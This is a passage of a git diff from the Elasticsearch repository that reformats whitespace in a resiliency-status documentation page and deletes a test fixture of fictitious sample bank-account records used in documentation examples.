+67,12 @@ all new scenarios and will report issues that we find on this page and in our Gi === Better request retry mechanism when nodes are disconnected (STATUS: ONGOING) If the node holding a primary shard is disconnected for whatever reason, the -coordinating node retries the request on the same or a new primary shard. In +coordinating node retries the request on the same or a new primary shard. In certain rare conditions, where the node disconnects and immediately reconnects, it is possible that the original request has already been successfully applied but has not been reported, resulting in duplicate requests. This is particularly true when retrying bulk requests, where some -actions may have completed and some may not have. +actions may have completed and some may not have. An optimization which disabled the existence check for documents indexed with auto-generated IDs could result in the creation of duplicate documents. This @@ -93,7 +93,7 @@ See {GIT}9967[#9967]. (STATUS: ONGOING) The family of circuit breakers has greatly reduced the occurrence of OOM exceptions, but it is still possible to cause a node to run out of heap -space. The following issues have been identified: +space. The following issues have been identified: * Set a hard limit on `from`/`size` parameters {GIT}9311[#9311]. (STATUS: DONE, v2.1.0) * Prevent combinatorial explosion in aggregations from causing OOM {GIT}8081[#8081]. (STATUS: DONE, v5.0.0) @@ -316,41 +316,41 @@ nodes have sent their joins request (based on the `minimum_master_nodes` setting === Mapping changes should be applied synchronously (STATUS: DONE, v2.0.0) When introducing new fields using dynamic mapping, it is possible that the same -field can be added to different shards with different data types. Each shard +field can be added to different shards with different data types. Each shard will operate with its local data type but, if the shard is relocated, the data type from the cluster state will be applied to the new shard, which -can result in a corrupt shard. To prevent this, new fields should not +can result in a corrupt shard. To prevent this, new fields should not be added to a shard's mapping until confirmed by the master. {GIT}8688[#8688] (STATUS: DONE) [discrete] === Add per-segment and per-commit ID to help replication (STATUS: DONE, v2.0.0) -{JIRA}5895[LUCENE-5895] adds a unique ID for each segment and each commit point. File-based replication (as performed by snapshot/restore) can use this ID to know whether the segment/commit on the source and destination machines are the same. Fixed in Lucene 5.0. +{JIRA}5895[LUCENE-5895] adds a unique ID for each segment and each commit point. File-based replication (as performed by snapshot/restore) can use this ID to know whether the segment/commit on the source and destination machines are the same. Fixed in Lucene 5.0. [discrete] === Write index metadata on data nodes where shards allocated (STATUS: DONE, v2.0.0) Today, index metadata is written only on nodes that are master-eligible, not on -data-only nodes. This is not a problem when running with multiple master nodes, +data-only nodes. This is not a problem when running with multiple master nodes, as recommended, as the loss of all but one master node is still recoverable. However, users running with a single master node are at risk of losing -their index metadata if the master fails. Instead, this metadata should +their index metadata if the master fails. Instead, this metadata should also be written on any node where a shard is allocated. {GIT}8823[#8823], {GIT}9952[#9952] [discrete] === Better file distribution with multiple data paths (STATUS: DONE, v2.0.0) Today, a node configured with multiple data paths distributes writes across -all paths by writing one file to each path in turn. This can mean that the -failure of a single disk corrupts many shards at once. Instead, by allocating +all paths by writing one file to each path in turn. This can mean that the +failure of a single disk corrupts many shards at once. Instead, by allocating an entire shard to a single data path, the extent of the damage can be limited to just the shards on that disk. {GIT}9498[#9498] [discrete] === Lucene checksums phase 3 (STATUS: DONE, v2.0.0) -Almost all files in Elasticsearch now have checksums which are validated before use. A few changes remain: +Almost all files in Elasticsearch now have checksums which are validated before use. A few changes remain: * {GIT}7586[#7586] adds checksums for cluster and index state files. (STATUS: DONE, Fixed in v1.5.0) * {GIT}9183[#9183] supports validating the checksums on all files when starting a node. (STATUS: DONE, Fixed in v2.0.0) @@ -387,13 +387,13 @@ It is possible in very extreme cases during a complicated full cluster restart, that the current shard state ID can be reset or even go backwards. Elasticsearch now ensures that the state ID always moves forwards, and throws an exception when a legacy ID is higher than the -current ID. See {GIT}10316[#10316] (STATUS: DONE, v1.5.1) +current ID. See {GIT}10316[#10316] (STATUS: DONE, v1.5.1) [discrete] === Verification of index UUIDs (STATUS: DONE, v1.5.0) When deleting and recreating indices rapidly, it is possible that cluster state -updates can arrive out of sync and old states can be merged incorrectly. Instead, +updates can arrive out of sync and old states can be merged incorrectly. Instead, Elasticsearch now checks the index UUID to ensure that cluster state updates refer to the same index version that is present on the local node. See {GIT}9541[#9541] and {GIT}10200[#10200] (STATUS: DONE, Fixed in v1.5.0) @@ -412,13 +412,13 @@ before v1.3.2 are disabled entirely. See {GIT}9925[#9925] (STATUS: DONE, Fixed i Upgrading the metadata of old 3.x segments on node upgrade can be error prone and can result in corruption when merges are being run concurrently. Instead, Elasticsearch will now upgrade the metadata of 3.x segments before the engine -starts. See {GIT}9899[#9899] (STATUS; DONE, fixed in v1.5.0) +starts. See {GIT}9899[#9899] (STATUS; DONE, fixed in v1.5.0) [discrete] === Prevent setting minimum_master_nodes to more than the current node count (STATUS: DONE, v1.5.0) Setting `zen.discovery.minimum_master_nodes` to a value higher than the current node count -effectively leaves the cluster without a master and unable to process requests. The only +effectively leaves the cluster without a master and unable to process requests. The only way to fix this is to add more master-eligible nodes. {GIT}8321[#8321] adds a mechanism to validate settings before applying them, and {GIT}9051[#9051] extends this validation support to settings applied during a cluster restore. (STATUS: DONE, Fixed in v1.5.0) @@ -428,8 +428,8 @@ support to settings applied during a cluster restore. (STATUS: DONE, Fixed in v1 Randomized testing combined with chaotic failures has revealed corner cases where the recovery and allocation of shards in a concurrent manner can result -in shard corruption. There is an ongoing effort to reduce the complexity of -these operations in order to make them more deterministic. These include: +in shard corruption. There is an ongoing effort to reduce the complexity of +these operations in order to make them more deterministic. These include: * Introduce shard level locks to prevent concurrent shard modifications {GIT}8436[#8436]. (STATUS: DONE, Fixed in v1.5.0) * Delete shard contents under a lock {GIT}9083[#9083]. (STATUS: DONE, Fixed in v1.5.0) @@ -463,7 +463,7 @@ Recovery from failure is a complicated process, especially in an asynchronous di [discrete] === Lucene checksums phase 2 (STATUS:DONE, v1.4.0.Beta1) -When Lucene opens a segment for reading, it validates the checksum on the smaller segment files -- those which it reads entirely into memory -- but not the large files like term frequencies and positions, as this would be very expensive. During merges, term vectors and stored fields are validated, as long the segments being merged come from the same version of Lucene. Checksumming for term vectors and stored fields is important because merging consists of performing optimized byte copies. Term frequencies, term positions, payloads, doc values, and norms are currently not checked during merges, although Lucene provides the option to do so. These files are less prone to silent corruption as they are actively decoded during merge, and so are more likely to throw exceptions if there is any corruption. +When Lucene opens a segment for reading, it validates the checksum on the smaller segment files -- those which it reads entirely into memory -- but not the large files like term frequencies and positions, as this would be very expensive. During merges, term vectors and stored fields are validated, as long the segments being merged come from the same version of Lucene. Checksumming for term vectors and stored fields is important because merging consists of performing optimized byte copies. Term frequencies, term positions, payloads, doc values, and norms are currently not checked during merges, although Lucene provides the option to do so. These files are less prone to silent corruption as they are actively decoded during merge, and so are more likely to throw exceptions if there is any corruption. The following changes have been made: @@ -474,7 +474,7 @@ The following changes have been made: [discrete] === Don't allow unsupported codecs (STATUS: DONE, v1.4.0.Beta1) -Lucene 4 added a number of alternative codecs for experimentation purposes, and Elasticsearch exposed the ability to change codecs. Since then, Lucene has settled on the best choice of codec and provides backwards compatibility only for the default codec. {GIT}7566[#7566] removes the ability to set alternate codecs. +Lucene 4 added a number of alternative codecs for experimentation purposes, and Elasticsearch exposed the ability to change codecs. Since then, Lucene has settled on the best choice of codec and provides backwards compatibility only for the default codec. {GIT}7566[#7566] removes the ability to set alternate codecs. [discrete] === Use checksums to identify entire segments (STATUS: DONE, v1.4.0.Beta1) @@ -519,7 +519,7 @@ Upgrading indices create with Lucene 3.x (Elasticsearch v0.20 and before) to Luc [discrete] === Improve error handling when deleting files (STATUS: DONE, v1.4.0.Beta1) -Lucene uses reference counting to prevent files that are still in use from being deleted. Lucene testing discovered a bug ({JIRA}5919[LUCENE-5919]) when decrementing the ref count on a batch of files. If deleting some of the files resulted in an exception (e.g. due to interference from a virus scanner), the files that had their ref counts decremented successfully could later have their ref counts deleted again, incorrectly, resulting in files being physically deleted before their time. This is fixed in Lucene 4.10. +Lucene uses reference counting to prevent files that are still in use from being deleted. Lucene testing discovered a bug ({JIRA}5919[LUCENE-5919]) when decrementing the ref count on a batch of files. If deleting some of the files resulted in an exception (e.g. due to interference from a virus scanner), the files that had their ref counts decremented successfully could later have their ref counts deleted again, incorrectly, resulting in files being physically deleted before their time. This is fixed in Lucene 4.10. [discrete] === Using Lucene Checksums to verify shards during snapshot/restore (STATUS:DONE, v1.3.3) diff --git a/docs/src/test/resources/accounts.json b/docs/src/test/resources/accounts.json deleted file mode 100644 index 28b2b82c3f57f..0000000000000 --- a/docs/src/test/resources/accounts.json +++ /dev/null @@ -1,2000 +0,0 @@ -{"index":{"_id":"1"}} -{"account_number":1,"balance":39225,"firstname":"Amber","lastname":"Duke","age":32,"gender":"M","address":"880 Holmes Lane","employer":"Pyrami","email":"amberduke@pyrami.com","city":"Brogan","state":"IL"} -{"index":{"_id":"6"}} -{"account_number":6,"balance":5686,"firstname":"Hattie","lastname":"Bond","age":36,"gender":"M","address":"671 Bristol Street","employer":"Netagy","email":"hattiebond@netagy.com","city":"Dante","state":"TN"} -{"index":{"_id":"13"}} -{"account_number":13,"balance":32838,"firstname":"Nanette","lastname":"Bates","age":28,"gender":"F","address":"789 Madison Street","employer":"Quility","email":"nanettebates@quility.com","city":"Nogal","state":"VA"} -{"index":{"_id":"18"}} -{"account_number":18,"balance":4180,"firstname":"Dale","lastname":"Adams","age":33,"gender":"M","address":"467 Hutchinson Court","employer":"Boink","email":"daleadams@boink.com","city":"Orick","state":"MD"} -{"index":{"_id":"20"}} -{"account_number":20,"balance":16418,"firstname":"Elinor","lastname":"Ratliff","age":36,"gender":"M","address":"282 Kings Place","employer":"Scentric","email":"elinorratliff@scentric.com","city":"Ribera","state":"WA"} -{"index":{"_id":"25"}} -{"account_number":25,"balance":40540,"firstname":"Virginia","lastname":"Ayala","age":39,"gender":"F","address":"171 Putnam Avenue","employer":"Filodyne","email":"virginiaayala@filodyne.com","city":"Nicholson","state":"PA"} -{"index":{"_id":"32"}} -{"account_number":32,"balance":48086,"firstname":"Dillard","lastname":"Mcpherson","age":34,"gender":"F","address":"702 Quentin Street","employer":"Quailcom","email":"dillardmcpherson@quailcom.com","city":"Veguita","state":"IN"} -{"index":{"_id":"37"}} -{"account_number":37,"balance":18612,"firstname":"Mcgee","lastname":"Mooney","age":39,"gender":"M","address":"826 Fillmore Place","employer":"Reversus","email":"mcgeemooney@reversus.com","city":"Tooleville","state":"OK"} -{"index":{"_id":"44"}} -{"account_number":44,"balance":34487,"firstname":"Aurelia","lastname":"Harding","age":37,"gender":"M","address":"502 Baycliff Terrace","employer":"Orbalix","email":"aureliaharding@orbalix.com","city":"Yardville","state":"DE"} -{"index":{"_id":"49"}} -{"account_number":49,"balance":29104,"firstname":"Fulton","lastname":"Holt","age":23,"gender":"F","address":"451 Humboldt Street","employer":"Anocha","email":"fultonholt@anocha.com","city":"Sunriver","state":"RI"} -{"index":{"_id":"51"}} -{"account_number":51,"balance":14097,"firstname":"Burton","lastname":"Meyers","age":31,"gender":"F","address":"334 River Street","employer":"Bezal","email":"burtonmeyers@bezal.com","city":"Jacksonburg","state":"MO"} -{"index":{"_id":"56"}} -{"account_number":56,"balance":14992,"firstname":"Josie","lastname":"Nelson","age":32,"gender":"M","address":"857 Tabor Court","employer":"Emtrac","email":"josienelson@emtrac.com","city":"Sunnyside","state":"UT"} -{"index":{"_id":"63"}} -{"account_number":63,"balance":6077,"firstname":"Hughes","lastname":"Owens","age":30,"gender":"F","address":"510 Sedgwick Street","employer":"Valpreal","email":"hughesowens@valpreal.com","city":"Guilford","state":"KS"} -{"index":{"_id":"68"}} -{"account_number":68,"balance":44214,"firstname":"Hall","lastname":"Key","age":25,"gender":"F","address":"927 Bay Parkway","employer":"Eventex","email":"hallkey@eventex.com","city":"Shawmut","state":"CA"} -{"index":{"_id":"70"}} -{"account_number":70,"balance":38172,"firstname":"Deidre","lastname":"Thompson","age":33,"gender":"F","address":"685 School Lane","employer":"Netplode","email":"deidrethompson@netplode.com","city":"Chestnut","state":"GA"} -{"index":{"_id":"75"}} -{"account_number":75,"balance":40500,"firstname":"Sandoval","lastname":"Kramer","age":22,"gender":"F","address":"166 Irvington Place","employer":"Overfork","email":"sandovalkramer@overfork.com","city":"Limestone","state":"NH"} -{"index":{"_id":"82"}} -{"account_number":82,"balance":41412,"firstname":"Concetta","lastname":"Barnes","age":39,"gender":"F","address":"195 Bayview Place","employer":"Fitcore","email":"concettabarnes@fitcore.com","city":"Summerfield","state":"NC"} -{"index":{"_id":"87"}} -{"account_number":87,"balance":1133,"firstname":"Hewitt","lastname":"Kidd","age":22,"gender":"M","address":"446 Halleck Street","employer":"Isologics","email":"hewittkidd@isologics.com","city":"Coalmont","state":"ME"} -{"index":{"_id":"94"}} -{"account_number":94,"balance":41060,"firstname":"Brittany","lastname":"Cabrera","age":30,"gender":"F","address":"183 Kathleen Court","employer":"Mixers","email":"brittanycabrera@mixers.com","city":"Cornucopia","state":"AZ"} -{"index":{"_id":"99"}} -{"account_number":99,"balance":47159,"firstname":"Ratliff","lastname":"Heath","age":39,"gender":"F","address":"806 Rockwell Place","employer":"Zappix","email":"ratliffheath@zappix.com","city":"Shaft","state":"ND"} -{"index":{"_id":"102"}} -{"account_number":102,"balance":29712,"firstname":"Dena","lastname":"Olson","age":27,"gender":"F","address":"759 Newkirk Avenue","employer":"Hinway","email":"denaolson@hinway.com","city":"Choctaw","state":"NJ"} -{"index":{"_id":"107"}} -{"account_number":107,"balance":48844,"firstname":"Randi","lastname":"Rich","age":28,"gender":"M","address":"694 Jefferson Street","employer":"Netplax","email":"randirich@netplax.com","city":"Bellfountain","state":"SC"} -{"index":{"_id":"114"}} -{"account_number":114,"balance":43045,"firstname":"Josephine","lastname":"Joseph","age":31,"gender":"F","address":"451 Oriental Court","employer":"Turnabout","email":"josephinejoseph@turnabout.com","city":"Sedley","state":"AL"} -{"index":{"_id":"119"}} -{"account_number":119,"balance":49222,"firstname":"Laverne","lastname":"Johnson","age":28,"gender":"F","address":"302 Howard Place","employer":"Senmei","email":"lavernejohnson@senmei.com","city":"Herlong","state":"DC"} -{"index":{"_id":"121"}} -{"account_number":121,"balance":19594,"firstname":"Acevedo","lastname":"Dorsey","age":32,"gender":"M","address":"479 Nova Court","employer":"Netropic","email":"acevedodorsey@netropic.com","city":"Islandia","state":"CT"} -{"index":{"_id":"126"}} -{"account_number":126,"balance":3607,"firstname":"Effie","lastname":"Gates","age":39,"gender":"F","address":"620 National Drive","employer":"Digitalus","email":"effiegates@digitalus.com","city":"Blodgett","state":"MD"} -{"index":{"_id":"133"}} -{"account_number":133,"balance":26135,"firstname":"Deena","lastname":"Richmond","age":36,"gender":"F","address":"646 Underhill Avenue","employer":"Sunclipse","email":"deenarichmond@sunclipse.com","city":"Austinburg","state":"SC"} -{"index":{"_id":"138"}} -{"account_number":138,"balance":9006,"firstname":"Daniel","lastname":"Arnold","age":39,"gender":"F","address":"422 Malbone Street","employer":"Ecstasia","email":"danielarnold@ecstasia.com","city":"Gardiner","state":"MO"} -{"index":{"_id":"140"}} -{"account_number":140,"balance":26696,"firstname":"Cotton","lastname":"Christensen","age":32,"gender":"M","address":"878 Schermerhorn Street","employer":"Prowaste","email":"cottonchristensen@prowaste.com","city":"Mayfair","state":"LA"} -{"index":{"_id":"145"}} -{"account_number":145,"balance":47406,"firstname":"Rowena","lastname":"Wilkinson","age":32,"gender":"M","address":"891 Elton Street","employer":"Asimiline","email":"rowenawilkinson@asimiline.com","city":"Ripley","state":"NH"} -{"index":{"_id":"152"}} -{"account_number":152,"balance":8088,"firstname":"Wolfe","lastname":"Rocha","age":21,"gender":"M","address":"457 Guernsey Street","employer":"Hivedom","email":"wolferocha@hivedom.com","city":"Adelino","state":"MS"} -{"index":{"_id":"157"}} -{"account_number":157,"balance":39868,"firstname":"Claudia","lastname":"Terry","age":20,"gender":"F","address":"132 Gunnison Court","employer":"Lumbrex","email":"claudiaterry@lumbrex.com","city":"Castleton","state":"MD"} -{"index":{"_id":"164"}} -{"account_number":164,"balance":9101,"firstname":"Cummings","lastname":"Little","age":26,"gender":"F","address":"308 Schaefer Street","employer":"Comtrak","email":"cummingslittle@comtrak.com","city":"Chaparrito","state":"WI"} -{"index":{"_id":"169"}} -{"account_number":169,"balance":45953,"firstname":"Hollie","lastname":"Osborn","age":34,"gender":"M","address":"671 Seaview Court","employer":"Musaphics","email":"hollieosborn@musaphics.com","city":"Hanover","state":"GA"} -{"index":{"_id":"171"}} -{"account_number":171,"balance":7091,"firstname":"Nelda","lastname":"Hopper","age":39,"gender":"M","address":"742 Prospect Place","employer":"Equicom","email":"neldahopper@equicom.com","city":"Finderne","state":"SC"} -{"index":{"_id":"176"}} -{"account_number":176,"balance":18607,"firstname":"Kemp","lastname":"Walters","age":28,"gender":"F","address":"906 Howard Avenue","employer":"Eyewax","email":"kempwalters@eyewax.com","city":"Why","state":"KY"} -{"index":{"_id":"183"}} -{"account_number":183,"balance":14223,"firstname":"Hudson","lastname":"English","age":26,"gender":"F","address":"823 Herkimer Place","employer":"Xinware","email":"hudsonenglish@xinware.com","city":"Robbins","state":"ND"} -{"index":{"_id":"188"}} -{"account_number":188,"balance":41504,"firstname":"Tia","lastname":"Miranda","age":24,"gender":"F","address":"583 Ainslie Street","employer":"Jasper","email":"tiamiranda@jasper.com","city":"Summerset","state":"UT"} -{"index":{"_id":"190"}} -{"account_number":190,"balance":3150,"firstname":"Blake","lastname":"Davidson","age":30,"gender":"F","address":"636 Diamond Street","employer":"Quantasis","email":"blakedavidson@quantasis.com","city":"Crumpler","state":"KY"} -{"index":{"_id":"195"}} -{"account_number":195,"balance":5025,"firstname":"Kaye","lastname":"Gibson","age":31,"gender":"M","address":"955 Hopkins Street","employer":"Zork","email":"kayegibson@zork.com","city":"Ola","state":"WY"} -{"index":{"_id":"203"}} -{"account_number":203,"balance":21890,"firstname":"Eve","lastname":"Wyatt","age":33,"gender":"M","address":"435 Furman Street","employer":"Assitia","email":"evewyatt@assitia.com","city":"Jamestown","state":"MN"} -{"index":{"_id":"208"}} -{"account_number":208,"balance":40760,"firstname":"Garcia","lastname":"Hess","age":26,"gender":"F","address":"810 Nostrand Avenue","employer":"Quiltigen","email":"garciahess@quiltigen.com","city":"Brooktrails","state":"GA"} -{"index":{"_id":"210"}} -{"account_number":210,"balance":33946,"firstname":"Cherry","lastname":"Carey","age":24,"gender":"M","address":"539 Tiffany Place","employer":"Martgo","email":"cherrycarey@martgo.com","city":"Fairacres","state":"AK"} -{"index":{"_id":"215"}} -{"account_number":215,"balance":37427,"firstname":"Copeland","lastname":"Solomon","age":20,"gender":"M","address":"741 McDonald Avenue","employer":"Recognia","email":"copelandsolomon@recognia.com","city":"Edmund","state":"ME"} -{"index":{"_id":"222"}} -{"account_number":222,"balance":14764,"firstname":"Rachelle","lastname":"Rice","age":36,"gender":"M","address":"333 Narrows Avenue","employer":"Enaut","email":"rachellerice@enaut.com","city":"Wright","state":"AZ"} -{"index":{"_id":"227"}} -{"account_number":227,"balance":19780,"firstname":"Coleman","lastname":"Berg","age":22,"gender":"M","address":"776 Little Street","employer":"Exoteric","email":"colemanberg@exoteric.com","city":"Eagleville","state":"WV"} -{"index":{"_id":"234"}} -{"account_number":234,"balance":44207,"firstname":"Betty","lastname":"Hall","age":37,"gender":"F","address":"709 Garfield Place","employer":"Miraclis","email":"bettyhall@miraclis.com","city":"Bendon","state":"NY"} -{"index":{"_id":"239"}} -{"account_number":239,"balance":25719,"firstname":"Chang","lastname":"Boyer","age":36,"gender":"M","address":"895 Brigham Street","employer":"Qaboos","email":"changboyer@qaboos.com","city":"Belgreen","state":"NH"} -{"index":{"_id":"241"}} -{"account_number":241,"balance":25379,"firstname":"Schroeder","lastname":"Harrington","age":26,"gender":"M","address":"610 Tapscott Avenue","employer":"Otherway","email":"schroederharrington@otherway.com","city":"Ebro","state":"TX"} -{"index":{"_id":"246"}} -{"account_number":246,"balance":28405,"firstname":"Katheryn","lastname":"Foster","age":21,"gender":"F","address":"259 Kane Street","employer":"Quantalia","email":"katherynfoster@quantalia.com","city":"Bath","state":"TX"} -{"index":{"_id":"253"}} -{"account_number":253,"balance":20240,"firstname":"Melissa","lastname":"Gould","age":31,"gender":"M","address":"440 Fuller Place","employer":"Buzzopia","email":"melissagould@buzzopia.com","city":"Lumberton","state":"MD"} -{"index":{"_id":"258"}} -{"account_number":258,"balance":5712,"firstname":"Lindsey","lastname":"Hawkins","age":37,"gender":"M","address":"706 Frost Street","employer":"Enormo","email":"lindseyhawkins@enormo.com","city":"Gardners","state":"AK"} -{"index":{"_id":"260"}} -{"account_number":260,"balance":2726,"firstname":"Kari","lastname":"Skinner","age":30,"gender":"F","address":"735 Losee Terrace","employer":"Singavera","email":"kariskinner@singavera.com","city":"Rushford","state":"WV"} -{"index":{"_id":"265"}} -{"account_number":265,"balance":46910,"firstname":"Marion","lastname":"Schneider","age":26,"gender":"F","address":"574 Everett Avenue","employer":"Evidends","email":"marionschneider@evidends.com","city":"Maplewood","state":"WY"} -{"index":{"_id":"272"}} -{"account_number":272,"balance":19253,"firstname":"Lilly","lastname":"Morgan","age":25,"gender":"F","address":"689 Fleet Street","employer":"Biolive","email":"lillymorgan@biolive.com","city":"Sunbury","state":"OH"} -{"index":{"_id":"277"}} -{"account_number":277,"balance":29564,"firstname":"Romero","lastname":"Lott","age":31,"gender":"M","address":"456 Danforth Street","employer":"Plasto","email":"romerolott@plasto.com","city":"Vincent","state":"VT"} -{"index":{"_id":"284"}} -{"account_number":284,"balance":22806,"firstname":"Randolph","lastname":"Banks","age":29,"gender":"M","address":"875 Hamilton Avenue","employer":"Caxt","email":"randolphbanks@caxt.com","city":"Crawfordsville","state":"WA"} -{"index":{"_id":"289"}} -{"account_number":289,"balance":7798,"firstname":"Blair","lastname":"Church","age":29,"gender":"M","address":"370 Sutton Street","employer":"Cubix","email":"blairchurch@cubix.com","city":"Nile","state":"NH"} -{"index":{"_id":"291"}} -{"account_number":291,"balance":19955,"firstname":"Lynn","lastname":"Pollard","age":40,"gender":"F","address":"685 Pierrepont Street","employer":"Slambda","email":"lynnpollard@slambda.com","city":"Mappsville","state":"ID"} -{"index":{"_id":"296"}} -{"account_number":296,"balance":24606,"firstname":"Rosa","lastname":"Oliver","age":34,"gender":"M","address":"168 Woodbine Street","employer":"Idetica","email":"rosaoliver@idetica.com","city":"Robinson","state":"WY"} -{"index":{"_id":"304"}} -{"account_number":304,"balance":28647,"firstname":"Palmer","lastname":"Clark","age":35,"gender":"M","address":"866 Boulevard Court","employer":"Maximind","email":"palmerclark@maximind.com","city":"Avalon","state":"NH"} -{"index":{"_id":"309"}} -{"account_number":309,"balance":3830,"firstname":"Rosemarie","lastname":"Nieves","age":30,"gender":"M","address":"206 Alice Court","employer":"Zounds","email":"rosemarienieves@zounds.com","city":"Ferney","state":"AR"} -{"index":{"_id":"311"}} -{"account_number":311,"balance":13388,"firstname":"Vinson","lastname":"Ballard","age":23,"gender":"F","address":"960 Glendale Court","employer":"Gynk","email":"vinsonballard@gynk.com","city":"Fairforest","state":"WY"} -{"index":{"_id":"316"}} -{"account_number":316,"balance":8214,"firstname":"Anita","lastname":"Ewing","age":32,"gender":"M","address":"396 Lombardy Street","employer":"Panzent","email":"anitaewing@panzent.com","city":"Neahkahnie","state":"WY"} -{"index":{"_id":"323"}} -{"account_number":323,"balance":42230,"firstname":"Chelsea","lastname":"Gamble","age":34,"gender":"F","address":"356 Dare Court","employer":"Isosphere","email":"chelseagamble@isosphere.com","city":"Dundee","state":"MD"} -{"index":{"_id":"328"}} -{"account_number":328,"balance":12523,"firstname":"Good","lastname":"Campbell","age":27,"gender":"F","address":"438 Hicks Street","employer":"Gracker","email":"goodcampbell@gracker.com","city":"Marion","state":"CA"} -{"index":{"_id":"330"}} -{"account_number":330,"balance":41620,"firstname":"Yvette","lastname":"Browning","age":34,"gender":"F","address":"431 Beekman Place","employer":"Marketoid","email":"yvettebrowning@marketoid.com","city":"Talpa","state":"CO"} -{"index":{"_id":"335"}} -{"account_number":335,"balance":35433,"firstname":"Vera","lastname":"Hansen","age":24,"gender":"M","address":"252 Bushwick Avenue","employer":"Zanilla","email":"verahansen@zanilla.com","city":"Manila","state":"TN"} -{"index":{"_id":"342"}} -{"account_number":342,"balance":33670,"firstname":"Vivian","lastname":"Wells","age":36,"gender":"M","address":"570 Cobek Court","employer":"Nutralab","email":"vivianwells@nutralab.com","city":"Fontanelle","state":"OK"} -{"index":{"_id":"347"}} -{"account_number":347,"balance":36038,"firstname":"Gould","lastname":"Carson","age":24,"gender":"F","address":"784 Pulaski Street","employer":"Mobildata","email":"gouldcarson@mobildata.com","city":"Goochland","state":"MI"} -{"index":{"_id":"354"}} -{"account_number":354,"balance":21294,"firstname":"Kidd","lastname":"Mclean","age":22,"gender":"M","address":"691 Saratoga Avenue","employer":"Ronbert","email":"kiddmclean@ronbert.com","city":"Tioga","state":"ME"} -{"index":{"_id":"359"}} -{"account_number":359,"balance":29927,"firstname":"Vanessa","lastname":"Harvey","age":28,"gender":"F","address":"679 Rutledge Street","employer":"Zentime","email":"vanessaharvey@zentime.com","city":"Williston","state":"IL"} -{"index":{"_id":"361"}} -{"account_number":361,"balance":23659,"firstname":"Noreen","lastname":"Shelton","age":36,"gender":"M","address":"702 Tillary Street","employer":"Medmex","email":"noreenshelton@medmex.com","city":"Derwood","state":"NH"} -{"index":{"_id":"366"}} -{"account_number":366,"balance":42368,"firstname":"Lydia","lastname":"Cooke","age":31,"gender":"M","address":"470 Coleman Street","employer":"Comstar","email":"lydiacooke@comstar.com","city":"Datil","state":"TN"} -{"index":{"_id":"373"}} -{"account_number":373,"balance":9671,"firstname":"Simpson","lastname":"Carpenter","age":21,"gender":"M","address":"837 Horace Court","employer":"Snips","email":"simpsoncarpenter@snips.com","city":"Tolu","state":"MA"} -{"index":{"_id":"378"}} -{"account_number":378,"balance":27100,"firstname":"Watson","lastname":"Simpson","age":36,"gender":"F","address":"644 Thomas Street","employer":"Wrapture","email":"watsonsimpson@wrapture.com","city":"Keller","state":"TX"} -{"index":{"_id":"380"}} -{"account_number":380,"balance":35628,"firstname":"Fernandez","lastname":"Reid","age":33,"gender":"F","address":"154 Melba Court","employer":"Cosmosis","email":"fernandezreid@cosmosis.com","city":"Boyd","state":"NE"} -{"index":{"_id":"385"}} -{"account_number":385,"balance":11022,"firstname":"Rosalinda","lastname":"Valencia","age":22,"gender":"M","address":"933 Lloyd Street","employer":"Zoarere","email":"rosalindavalencia@zoarere.com","city":"Waverly","state":"GA"} -{"index":{"_id":"392"}} -{"account_number":392,"balance":31613,"firstname":"Dotson","lastname":"Dean","age":35,"gender":"M","address":"136 Ford Street","employer":"Petigems","email":"dotsondean@petigems.com","city":"Chical","state":"SD"} -{"index":{"_id":"397"}} -{"account_number":397,"balance":37418,"firstname":"Leonard","lastname":"Gray","age":36,"gender":"F","address":"840 Morgan Avenue","employer":"Recritube","email":"leonardgray@recritube.com","city":"Edenburg","state":"AL"} -{"index":{"_id":"400"}} -{"account_number":400,"balance":20685,"firstname":"Kane","lastname":"King","age":21,"gender":"F","address":"405 Cornelia Street","employer":"Tri@Tribalog","email":"kaneking@tri@tribalog.com","city":"Gulf","state":"VT"} -{"index":{"_id":"405"}} -{"account_number":405,"balance":5679,"firstname":"Strickland","lastname":"Fuller","age":26,"gender":"M","address":"990 Concord Street","employer":"Digique","email":"stricklandfuller@digique.com","city":"Southmont","state":"NV"} -{"index":{"_id":"412"}} -{"account_number":412,"balance":27436,"firstname":"Ilene","lastname":"Abbott","age":26,"gender":"M","address":"846 Vine Street","employer":"Typhonica","email":"ileneabbott@typhonica.com","city":"Cedarville","state":"VT"} -{"index":{"_id":"417"}} -{"account_number":417,"balance":1788,"firstname":"Wheeler","lastname":"Ayers","age":35,"gender":"F","address":"677 Hope Street","employer":"Fortean","email":"wheelerayers@fortean.com","city":"Ironton","state":"PA"} -{"index":{"_id":"424"}} -{"account_number":424,"balance":36818,"firstname":"Tracie","lastname":"Gregory","age":34,"gender":"M","address":"112 Hunterfly Place","employer":"Comstruct","email":"traciegregory@comstruct.com","city":"Onton","state":"TN"} -{"index":{"_id":"429"}} -{"account_number":429,"balance":46970,"firstname":"Cantu","lastname":"Lindsey","age":31,"gender":"M","address":"404 Willoughby Avenue","employer":"Inquala","email":"cantulindsey@inquala.com","city":"Cowiche","state":"IA"} -{"index":{"_id":"431"}} -{"account_number":431,"balance":13136,"firstname":"Laurie","lastname":"Shaw","age":26,"gender":"F","address":"263 Aviation Road","employer":"Zillanet","email":"laurieshaw@zillanet.com","city":"Harmon","state":"WV"} -{"index":{"_id":"436"}} -{"account_number":436,"balance":27585,"firstname":"Alexander","lastname":"Sargent","age":23,"gender":"M","address":"363 Albemarle Road","employer":"Fangold","email":"alexandersargent@fangold.com","city":"Calpine","state":"OR"} -{"index":{"_id":"443"}} -{"account_number":443,"balance":7588,"firstname":"Huff","lastname":"Thomas","age":23,"gender":"M","address":"538 Erskine Loop","employer":"Accufarm","email":"huffthomas@accufarm.com","city":"Corinne","state":"AL"} -{"index":{"_id":"448"}} -{"account_number":448,"balance":22776,"firstname":"Adriana","lastname":"Mcfadden","age":35,"gender":"F","address":"984 Woodside Avenue","employer":"Telequiet","email":"adrianamcfadden@telequiet.com","city":"Darrtown","state":"WI"} -{"index":{"_id":"450"}} -{"account_number":450,"balance":2643,"firstname":"Bradford","lastname":"Nielsen","age":25,"gender":"M","address":"487 Keen Court","employer":"Exovent","email":"bradfordnielsen@exovent.com","city":"Hamilton","state":"DE"} -{"index":{"_id":"455"}} -{"account_number":455,"balance":39556,"firstname":"Lynn","lastname":"Tran","age":36,"gender":"M","address":"741 Richmond Street","employer":"Optyk","email":"lynntran@optyk.com","city":"Clinton","state":"WV"} -{"index":{"_id":"462"}} -{"account_number":462,"balance":10871,"firstname":"Calderon","lastname":"Day","age":27,"gender":"M","address":"810 Milford Street","employer":"Cofine","email":"calderonday@cofine.com","city":"Kula","state":"OK"} -{"index":{"_id":"467"}} 